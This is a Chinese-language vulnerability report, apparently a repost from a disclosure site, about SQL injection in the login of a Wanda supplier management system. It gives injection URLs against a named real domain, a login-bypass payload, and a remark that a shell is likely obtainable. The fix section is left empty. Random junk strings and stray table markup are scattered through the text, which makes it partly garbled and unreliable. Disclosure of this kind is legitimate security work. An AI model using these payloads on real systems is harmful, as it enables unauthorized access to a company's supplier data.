万达供应商系统SQL注射漏洞

admin

简要描述：万达某分站sql注入。敏感信息泄露。
详细说明：
万达scm系统登陆框sql注入。
! E. {7 p, x8 D2 i$ t. T
$ b9 D# i% w' N. [. ?/ g9 `http://www.vans-china.cn/LoginUser?USERNO=%27&PWD=%27


500错误。
/ Z; y" l0 }3 T/ Q( R
用户名随便输，提示没有该用户;USERNO=%27 and 1=1 --&PWD=%27 and 1=1 --提示密码错误。
http://www.myhack58.com/Article/UploadPic/2013-3/201332317223677547.png
截图有一点问题，用户名，和密码输入' and 1=1 --可以得到相同的提示，可自测。）
经过分析，登陆验证的过程应该是：

2 j: K' p' u; H$ t取用户名查询数据库，有该用户，再用该用户密码和输入的密码进行比对，相同则登陆成功。
' I& q, o9 c( I  h1 r' B, R) shttp://www.myhack58.com/Article/UploadPic/2013-3/201332317233886589.png
: j1 F1 G0 f' x1 {6 X1 b
oracle数据库，存在注入点。@大连万达，你怎么看？
4 @. V0 }3 n% m7 f5 L! u4 o' A& g  thttp://www.myhack58.com/Article/UploadPic/2013-3/201332317241777393.png
' u% h, j# ]+ H/ C" B/ n
/ ~$ l, Z; X, T系统里有万达的供应商资料什么的,提交数据的地方随便输入'，提交500错误。没深入。目测可shell。
, i$ \$ ]( r9 @4 y漏洞证明：
万达scm系统登陆框sql注入。
  i, `2 m/ b! J& M. ]
http://www.vans-china.cn/LoginUser?USERNO=%27&PWD=%27

8 K1 V, T* i+ g8 m
; p$ n# ~# a5 g" I7 z9 C500错误。

用户名随便输，提示没有该用户;USERNO=%27 and 1=1 --&PWD=%27 and 1=1 --提示密码错误。
* L- `- ~- r, ?8 i  khttp://www.myhack58.com/Article/UploadPic/2013-3/20133231728465694.png


（截图有一点问题）
0 V; f* m6 b' ?: d* Q$ J2 [- T3 r
( ~$ Y2 \+ R$ d  y  `( O怎么饶都饶不过去；经过分析，登陆验证的过程应该是：
0 Y& E/ S9 e; a$ s5 e  e3 C3 |
取用户名查询数据库，有该用户，再用该用户密码和输入的密码进行比对，相同则登陆成功。
9 J1 G* Q7 z6 G% {! ~
绕过：
% T6 c0 M4 f( I: x  _http://www.vans-china.cn/LoginUs ... 1%27=%271&PWD=1

1 D9 r2 e# \4 D3 K$ ~0 _7 o& U
oracle数据库，存在注入点。@大连万达，你怎么看？
​系统里有万达的供应商资料什么的，有发布公告，没深入。目测可shell。

7 J3 Y  s5 u2 Z# k# W; k, u修复方案：
。。。
) ~" u" H3 b! U9 J* a

5 V2 O# W2 C/ t1 Y厂商已经确认

3 `& ~$ e+ J; R[/td][/tr]
6 N# U* }  s1 d; g, z[/table]
8 T2 j6 N2 M* e' ]

/ [) i0 P& Z1 M: R